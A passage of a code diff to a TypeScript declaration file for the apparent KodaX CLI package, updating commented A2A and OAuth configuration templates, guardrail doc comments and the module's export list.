\"triggerTokens\": 0\n  // },\n\n  // 0 disables automatic session pruning.\n  // \"sessionRetentionDays\": 0,\n\n  // Workflow host concurrency. The Runtime still applies its system cap.\n  // \"workflow\": { \"maxConcurrency\": 8 }\n}\n";
     readonly mcp: "// User MCP declarations: ~/.kodax/integrations/mcp.json (strict JSON).\n// The whole file hot-reloads; healthy entries remain active if one new entry\n// fails to prepare. Keep credentials in ${env:NAME} references.\n{\n  \"version\": 1,\n  \"servers\": {}\n  // Example:\n  // \"servers\": {\n  //   \"reporting\": {\n  //     \"type\": \"streamable-http\",\n  //     \"url\": \"https://mcp.example.com\",\n  //     \"headers\": { \"Authorization\": \"Bearer ${env:REPORTING_MCP_TOKEN}\" },\n  //     \"connect\": \"lazy\"\n  //   }\n  // }\n}\n";
-    readonly a2a: "// Bidirectional A2A configuration: ~/.kodax/integrations/a2a.json.\n// `agents` calls many third-party Agents. The optional singleton `server`\n// exposes exactly one KodaX general task Agent; ACP remains the coding/editor\n// protocol. Uncomment only the entries you need; no token value belongs here.\n// Legacy version 1 files remain readable. Non-empty files require an explicit\n// stopped-daemon migration; new/empty files and every later write use version 2.\n{\n  \"version\": 2,\n\n  // Create this inbound block with `kodax a2a expose`; config never starts a\n  // listener by itself. Do not copy private Agent instructions, Runtime Skills,\n  // model names, or local paths into the public `published.skills` list.\n  // Managed workspaces default below\n  // ~/kodax_a2a_server_workspace/<runtime-profile>/contexts/<context-key>/.\n  // Native read/grep/glob remains available according to workspace access.\n  // Arbitrary shell is never exposed. Skill instructions/assets need no\n  // process authority. An exact checked-in scripts/... entry requires\n  // process=\"isolated\", skillScripts admission, and `kodax sandbox doctor`.\n  // ASRT receives no KodaX credentials or ambient ~/.srt-settings.json and its\n  // script quota is observed; hostile tenants also require an outer container/VM.\n  //\n  // \"server\": {\n  //   \"execution\": {\n  //     \"kind\": \"local-agent\",\n  //     \"agentRef\": { \"source\": \"markdown:user\", \"name\": \"report-agent\" },\n  //     \"workspace\": { \"mode\": \"managed\" },\n  //     \"toolPolicy\": {\n  //       \"workspace\": \"write\",\n  //       \"process\": \"deny\",\n  //       \"network\": { \"mode\": \"deny\" },\n  //       \"tools\": [],\n  //       \"mcp\": {},\n  //       \"skillScripts\": {},\n  //       \"subagents\": \"deny\"\n  //     }\n  //   },\n  //   \"published\": {\n  //     \"name\": \"KodaX Agent\",\n  //     \"description\": \"Completes approved general tasks.\",\n  //     \"version\": \"0.7.71\",\n  //     \"skills\": [{ \"id\": \"general\", \"name\": \"General\", \"description\": \"Complete general tasks.\", \"tags\": [] }],\n  //     \"inputModes\": [\"text/plain\"],\n  //     \"outputModes\": [\"text/plain\"]\n  //   },\n  //   \"authentication\": { \"type\": \"bearer-env\", \"tokenEnv\": \"KODAX_A2A_TOKEN\", \"principalId\": \"configured-client\" },\n  //   \"dataDir\": \"~/.kodax/a2a/tasks\"\n  // },\n\n  // Production OAuth2 resource-server alternative for the server above. The\n  // external Authorization Server issues access tokens and, for JWT tokens,\n  // signs them. KodaX holds no issuer signing key; it validates RFC 9068 tokens\n  // against the issuer's rotating JWKS, audience, expiry, subject, and scopes.\n  // Replace the server.authentication value above with:\n  // {\n  //   \"type\": \"oauth2-jwt\",\n  //   \"scheme\": \"enterprise-oauth\",\n  //   \"issuer\": \"https://identity.example.com\",\n  //   \"audience\": \"https://agent.example.com/a2a\",\n  //   \"jwksUrl\": \"https://identity.example.com/.well-known/jwks.json\",\n  //   \"tokenUrl\": \"https://identity.example.com/oauth/token\",\n  //   \"metadataUrl\": \"https://identity.example.com/.well-known/oauth-authorization-server\",\n  //   \"requiredScopes\": [\"a2a.invoke\"]\n  // }\n\n  \"agents\": {\n    // Fixed Bearer compatibility example. `enabled` is hot desired state:\n    // disabled Agents remain configured but are not candidates for new\n    // orchestration, while already admitted remote tasks may finish.\n    // \"reporting\": {\n    //   \"cardUrl\": \"https://agents.example.com/.well-known/agent-card.json\",\n    //   \"enabled\": true,\n    //   \"credentialEnv\": \"REPORTING_A2A_TOKEN\",\n    //   \"effect\": \"read\"\n    // },\n\n    // Standards-based machine-to-machine OAuth2 example. The external\n    // Authorization Server issues access tokens; KodaX obtains and caches them\n    // only in process memory. `tokenUrl` must exactly match the selected Card\n    // OAuth2 clientCredentials flow. Use `kodax a2a enable|disable <name>` to\n    // mutate `enabled` atomically; the owning Runtime applies it asynchronously.\n    // \"reviewer\": {\n    //   \"cardUrl\": \"https://reviewer.example.com/.well-known/agent-card.json\",\n    //   \"enabled\": false,\n    //   \"effect\": \"read\",\n    //   \"authentication\": {\n    //     \"type\": \"oauth2-client-credentials\",\n    //     \"scheme\": \"enterprise-oauth\",\n    //     \"issuer\": \"https://identity.example.com\",\n    //     \"tokenUrl\": \"https://identity.example.com/oauth/token\",\n    //     \"clientId\": \"kodax-reviewer\",\n    //     \"clientSecretEnv\": \"REVIEWER_CLIENT_SECRET\",\n    //     \"scopes\": [\"a2a.invoke\"],\n    //     \"resource\": \"https://reviewer.example.com/\",\n    //     \"clientAuthentication\": \"client-secret-basic\"\n    //   }\n    // }\n  }\n}\n";
+    readonly a2a: "// Bidirectional A2A configuration: ~/.kodax/integrations/a2a.json.\n// `agents` calls many third-party Agents. The optional singleton `server`\n// exposes exactly one KodaX general task Agent; ACP remains the coding/editor\n// protocol. Uncomment only the entries you need; no token value belongs here.\n// Legacy version 1 files remain readable. Non-empty files require an explicit\n// stopped-daemon migration; new/empty files and every later write use version 2.\n{\n  \"version\": 2,\n\n  // Create this inbound block with `kodax a2a expose`; config never starts a\n  // listener by itself. Do not copy private Agent instructions, Runtime Skills,\n  // model names, or local paths into the public `published.skills` list.\n  // Managed workspaces default below\n  // ~/kodax_a2a_server_workspace/<runtime-profile>/contexts/<context-key>/.\n  // Native read/grep/glob remains available according to workspace access.\n  // Arbitrary shell is never exposed. Skill instructions/assets need no\n  // process authority. An exact checked-in scripts/... entry requires\n  // process=\"isolated\", skillScripts admission, and `kodax sandbox doctor`.\n  // ASRT receives no KodaX credentials or ambient ~/.srt-settings.json and its\n  // script quota is observed; hostile tenants also require an outer container/VM.\n  //\n  // \"server\": {\n  //   \"execution\": {\n  //     \"kind\": \"local-agent\",\n  //     \"agentRef\": { \"source\": \"markdown:user\", \"name\": \"report-agent\" },\n  //     \"workspace\": { \"mode\": \"managed\" },\n  //     \"toolPolicy\": {\n  //       \"workspace\": \"write\",\n  //       \"process\": \"deny\",\n  //       \"network\": { \"mode\": \"deny\" },\n  //       \"tools\": [],\n  //       \"mcp\": {},\n  //       \"skillScripts\": {},\n  //       \"subagents\": \"deny\"\n  //     }\n  //   },\n  //   \"published\": {\n  //     \"name\": \"KodaX Agent\",\n  //     \"description\": \"Completes approved general tasks.\",\n  //     \"version\": \"0.7.71\",\n  //     \"skills\": [{ \"id\": \"general\", \"name\": \"General\", \"description\": \"Complete general tasks.\", \"tags\": [] }],\n  //     \"inputModes\": [\"text/plain\"],\n  //     \"outputModes\": [\"text/plain\"]\n  //   },\n  //   \"authentication\": { \"type\": \"bearer-env\", \"tokenEnv\": \"KODAX_A2A_TOKEN\", \"principalId\": \"configured-client\" },\n  //   \"dataDir\": \"~/.kodax/a2a/tasks\"\n  // },\n\n  // Production OAuth2 resource-server alternative for the server above. The\n  // external Authorization Server issues access tokens and, for JWT tokens,\n  // signs them. KodaX holds no issuer signing key; it validates RFC 9068 tokens\n  // against the issuer's rotating JWKS, audience, expiry, subject, and scopes.\n  // Replace the server.authentication value above with:\n  // {\n  //   \"type\": \"oauth2-jwt\",\n  //   \"scheme\": \"enterprise-oauth\",\n  //   \"issuer\": \"https://identity.example.com\",\n  //   \"audience\": \"https://agent.example.com/a2a\",\n  //   \"jwksUrl\": \"https://identity.example.com/.well-known/jwks.json\",\n  //   \"tokenUrl\": \"https://identity.example.com/oauth/token\",\n  //   \"metadataUrl\": \"https://identity.example.com/.well-known/oauth-authorization-server\",\n  //   \"requiredScopes\": [\"a2a.invoke\"]\n  // }\n\n  \"agents\": {\n    // Fixed Bearer compatibility example. `enabled` is hot desired state:\n    // disabled Agents remain configured but are not candidates for new\n    // orchestration, while already admitted remote tasks may finish.\n    // \"reporting\": {\n    //   \"cardUrl\": \"https://agents.example.com/.well-known/agent-card.json\",\n    //   \"enabled\": true,\n    //   \"credentialEnv\": \"REPORTING_A2A_TOKEN\",\n    //   \"effect\": \"read\"\n    // },\n\n    // Private addresses and plaintext HTTP are separate, default-deny\n    // permissions. Exact loopback HTTP needs neither. Private HTTP needs both;\n    // private HTTPS needs only allowPrivateAddresses. Prefer TLS whenever it is\n    // available. The equivalent CLI flags are `--allow-private` and\n    // `--allow-insecure-http`. OAuth token endpoints keep their stricter\n    // HTTPS-or-exact-loopback rule even when Agent transport HTTP is allowed.\n    // \"intranet\": {\n    //   \"cardUrl\": \"http://10.20.30.40/.well-known/agent-card.json\",\n    //   \"enabled\": true,\n    //   \"network\": {\n    //     \"allowPrivateAddresses\": true,\n    //     \"allowInsecureHttp\": true\n    //   },\n    //   \"effect\": \"read\"\n    // },\n\n    // Standards-based machine-to-machine OAuth2 example. The external\n    // Authorization Server issues access tokens; KodaX obtains and caches them\n    // only in process memory. `tokenUrl` must exactly match the selected Card\n    // OAuth2 clientCredentials flow. Use `kodax a2a enable|disable <name>` to\n    // mutate `enabled` atomically; the owning Runtime applies it asynchronously.\n    // \"reviewer\": {\n    //   \"cardUrl\": \"https://reviewer.example.com/.well-known/agent-card.json\",\n    //   \"enabled\": false,\n    //   \"effect\": \"read\",\n    //   \"authentication\": {\n    //     \"type\": \"oauth2-client-credentials\",\n    //     \"scheme\": \"enterprise-oauth\",\n    //     \"issuer\": \"https://identity.example.com\",\n    //     \"tokenUrl\": \"https://identity.example.com/oauth/token\",\n    //     \"clientId\": \"kodax-reviewer\",\n    //     \"clientSecretEnv\": \"REVIEWER_CLIENT_SECRET\",\n    //     \"scopes\": [\"a2a.invoke\"],\n    //     \"resource\": \"https://reviewer.example.com/\",\n    //     \"clientAuthentication\": \"client-secret-basic\"\n    //   }\n    // }\n  }\n}\n";
     readonly extensions: "// Trusted user Extension paths: ~/.kodax/integrations/extensions.json.\n// Extensions are host code. Reload is whole-domain atomic; use MCP for\n// capabilities that should remain outside the KodaX process.\n{\n  \"version\": 1,\n  \"paths\": []\n}\n";
 };
 type ConfigTemplateName = keyof typeof CONFIG_TEMPLATES;
@@ -2482,6 +2301,8 @@ interface AutoModeBootstrapDeps {
     readonly projectRoot: string;
     /** Directory used to resolve relative tool paths. */
     readonly executionCwd: string;
+    /** Whether process environment path aliases equal the executed shell's aliases. */
+    readonly trustProcessEnvironmentPathExpansion?: boolean;
     /** Runtime-confirmed ASRT availability for exact workspace shell calls. */
     readonly workspaceShellSandboxAvailable?: boolean;
     /** Runtime-owned one-shot admission into the workspace shell sandbox. */
@@ -2502,11 +2323,9 @@ interface AutoModeBootstrapDeps {
      */
     readonly log?: (level: 'info' | 'warn', msg: string) => void;
     /**
-     * Fired whenever the guardrail's classifier engine changes — both on
-     * automatic downgrades (denial threshold / circuit breaker) and on
-     * manual `setEngine` calls. The REPL surfaces this into status-bar
-     * state so the engine indicator stays accurate without requiring a
-     * mode toggle to refresh.
+     * Fired when an explicit/manual `setEngine` call changes the selected
+     * engine. Classifier health thresholds are diagnostic and do not mutate the
+     * engine. The REPL uses this callback to keep its status bar current.
      */
     readonly onEngineChange?: (engine: 'llm' | 'rules') => void;
     /** Session-owned engine/denial/breaker state shared by context-specific guardrails. */
@@ -2516,9 +2335,8 @@ interface AutoModeBootstrapDeps {
      * coding-side defaults (`bashSignalCollector` + `fileSignalCollector`).
      * The REPL passes `replBashPathSignalCollector` here so bash commands
      * targeting protected paths (~/.kodax / <projectRoot>/.kodax) or
-     * redirecting outside the project produce signals — the path utilities
-     * live in @kodax/repl, so this is the layer-boundary-preserving
-     * injection point.
+     * redirecting outside the project produce signals. The collector remains a
+     * REPL integration, while its shell/path utilities are coding-owned.
      */
     readonly extraCollectors?: readonly SignalCollector[];
 }
@@ -2576,5 +2394,5 @@ declare function loadCommands(commandDir?: string): Promise<Map<string, KodaXCom
 declare function processCommandCall(commandName: string, args: string | undefined, commands: Map<string, KodaXCommand>, runAgent: (prompt: string) => Promise<KodaXResult>): Promise<string | null>;
 declare function parseCommandCall(input: string): [string, string?] | null;
 
-export { App, AppProps, AutocompleteContextProvider, BackgroundTaskBar, CONFIG_TEMPLATES, ChildActivitySurface, CommandInfo, ConsoleCapturer, CoreConfigWriteConflictError, CreatableHistoryItem, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryEntry, HistoryItem, HistoryItemInfo, HistoryItemRenderer, InputPrompt, InputPromptProps, KODAX_COMMANDS_DIR, KeyInfo, KeyMatchers, KeypressHandler, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, Message, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptEditingMode, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, ProviderSetupConfigConflictError, ProviderSetupInvalidConfigError, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusBarProps, StatusNoticesSurface, StreamingProvider, StreamingState, Suggestion, SuggestionsDisplay, TextInput, Theme, ThinkingIndicator, ToolCall, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIActions, UIState, UIStateProvider, UseTextBufferReturn, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, collectBashWriteTargets, coreConfigWriteLockPath, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, dedupeSessions, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, findMostRecentResumableSession, generateId, generateSavePattern, getBashOutsideProjectWriteRisk, getCharAtCodePoint, getCodePointLength, getConfigTemplate, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getPlanModeBlockReason, getProviderSetupCatalog, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, initializeSetupConfiguration, inspectProviderSetupReadiness, isAlwaysConfirmPath, isBashReadCommand, isBashWriteCommand, isClassicReplForced, isCommandOnProtectedPath, isFunctionKey, isOwnedRendererPreferred, isPathInsideProject, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isToolCallAllowed, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, listRegisteredCommands, loadCommands, measureChildActivitySurfaceRows, minimalTheme, parseCommandCall, parseKeypress, persistProviderSetupChoice, processCommandCall, providerSetupRestartInstructions, removeCustomProvider, removeMcpServer, renderSetupGuide, replBashPathSignalCollector, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, runProviderSetupWizard, runSessionPicker, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync, withCoreConfigWriteLock };
+export { App, AppProps, AutocompleteContextProvider, BackgroundTaskBar, CONFIG_TEMPLATES, ChildActivitySurface, CommandInfo, ConsoleCapturer, CoreConfigWriteConflictError, CreatableHistoryItem, DialogSurface, DotsIndicator, FullscreenTranscriptLayout, HistoryEntry, HistoryItem, HistoryItemInfo, HistoryItemRenderer, InputPrompt, InputPromptProps, KODAX_COMMANDS_DIR, KeyInfo, KeyMatchers, KeypressHandler, KeypressParser, KeypressProvider, LRUCache, LoadingIndicator, Message, MessageActions, MessageList, MessageSelector, NotificationsSurface, PendingInputsIndicator, PermissionMode, ProgressIndicator, PromptComposer, PromptEditingMode, PromptFooter, PromptFooterLeftSide, PromptFooterRightSide, PromptHelpMenu, PromptSuggestionsSurface, ProviderSetupConfigConflictError, ProviderSetupInvalidConfigError, QueuedCommandsSurface, SimpleApp, SimpleInputPrompt, SimpleMessageDisplay, SimpleStatusBar, SingleLineTextInput, Spinner, StashNotice, StatusBar, StatusBarProps, StatusNoticesSurface, StreamingProvider, StreamingState, Suggestion, SuggestionsDisplay, TextInput, Theme, ThinkingIndicator, ToolCall, ToolCallDisplay, ToolCallStatus, ToolGroup, ToolProgressBar, ToolStatusBadge, TranscriptViewport, UIActions, UIState, UIStateProvider, UseTextBufferReturn, _resetQueuedPromptsCacheForTests, bootstrapAutoMode, calculateVisualCursorFromLayout, calculateVisualLayout, coreConfigWriteLockPath, createCliEvents, createHistoryItem, createJsonEvents, createKeyMatcher, createKeypressManager, createRecoveryHistoryItem, createRetryHistoryItem, createStreamingManager, createToolCall, darkTheme, dedupeSessions, detectTerminalCapabilities, detectTerminalHostProfile, detectTerminalRenderHost, emitRecoveryHistoryItem, emitRetryHistoryItem, executeShellCommand, findMostRecentResumableSession, generateId, getCharAtCodePoint, getCodePointLength, getConfigTemplate, getCustomProviderConfig, getDefaultCommandDir, getKeyDisplayName, getMcpServerConfig, getProviderSetupCatalog, getTerminalHostCapabilities, getTerminalWidth, getTheme, getThemeNames, getVisualWidth, getVisualWidthCached, hasCursorUpViewportYankRisk, hasMainScreenRenderScrollRisk, initializeSetupConfiguration, inspectProviderSetupReadiness, isClassicReplForced, isFunctionKey, isOwnedRendererPreferred, isPrintable, isRemoteConptyHost, isScreenReader, isShellCommand, isShellCommandSuccess, isTmuxControlMode, isVsCodeTerminalHostEnv, isWideChar, listCustomProviders, listMcpServers, listRegisteredCommands, loadCommands, measureChildActivitySurfaceRows, minimalTheme, parseCommandCall, parseKeypress, persistProviderSetupChoice, processCommandCall, providerSetupRestartInstructions, removeCustomProvider, removeMcpServer, renderSetupGuide, replBashPathSignalCollector, resetTmuxControlModeProbeForTesting, resolveConfiguredTuiRendererMode, resolveEffectiveTuiRendererMode, resolveFullscreenPolicy, resolveInteractiveSurfacePreference, runProviderSetupWizard, runSessionPicker, splitByCodePoints, supports256Colors, supportsEmoji, supportsTrueColor, supportsUnicode, themes, truncateByVisualWidth, upsertCustomProvider, upsertMcpServer, useAutocomplete, useAutocompleteContext, useInputHistory, useKeypress, useKeypressManager, useQueuedPromptContents, useQueuedPrompts, useStreaming, useStreamingActions, useStreamingState, useTextBuffer, useUI, useUIActions, useUIState, validateMcpServerConfig, visualWidthCache, withCapture, withCaptureSync, withCoreConfigWriteLock };
 export type { AppHandle, AutoModeBootstrapDeps, AutoModeBootstrapResult, BackgroundTaskBarItem, BackgroundTaskBarProps, ChildActivitySurfaceProps, ConfigTemplateName, DialogSelectOption, DialogSurfaceConfirmState, DialogSurfaceProps, DialogSurfaceUIRequestState, DotsIndicatorProps, EffectiveTuiRendererMode, FullscreenPolicy, FullscreenTranscriptLayoutProps, HistoryItemRendererProps, InitializeSetupConfigurationInput, InteractiveSurfacePreference, KeypressManager, KeypressProviderProps, KodaXCommand, KodaXCommandContext, LoadingIndicatorProps, LoadingIndicatorType, MessageActionsProps, MessageListProps, MessageSelectorProps, NotificationSurfaceItem, NotificationsSurfaceProps, PendingInputsIndicatorProps, PersistedProviderSetupChoice, ProgressIndicatorProps, PromptComposerProps, PromptFooterLeftSideProps, PromptFooterProps, PromptFooterRightSideProps, PromptFooterSurfaceItem, PromptHelpMenuProps, PromptSuggestionsSurfaceProps, ProviderSetupCatalogEntry, ProviderSetupChoice, ProviderSetupCustomProviderMetadata, ProviderSetupInteraction, ProviderSetupReadiness, ProviderSetupWizardResult, QueuedCommandsSurfaceProps, RenderSetupGuideInput, ResolvedAutoModeBootstrapSettings, RunProviderSetupWizardInput, SessionDedupeMatch, SessionDedupeMove, SessionDedupeOptions, SessionDedupeReport, SessionDedupeSkip, SessionDedupeSkipReason, SessionPickerItem, SetupConfigDomain, SetupConfigFileKind, SetupConfigFileResult, SetupConfigFileStatus, SetupConfigurationResult, ShellExecutorConfig, SpinnerProps, StashNoticeProps, StatusNoticesSurfaceProps, StreamingActions, StreamingContextValue, StreamingManager, StreamingProviderProps, StreamingStateListener, SuggestionsDisplayProps, TerminalCapabilities, TerminalHostCapabilities, TerminalHostDetectionOptions, TerminalHostProfile, TerminalRenderHost, TextInputProps, ThinkingIndicatorProps, ToolCallDisplayProps, ToolGroupProps, ToolProgressBarProps, ToolStatusBadgeProps, TranscriptViewportProps, TuiRendererMode, UIStateProviderProps, UseAutocompleteOptions, UseAutocompleteReturn, UseInputHistoryOptions, UseInputHistoryReturn, UseKeypressOptions, UseTextBufferOptions };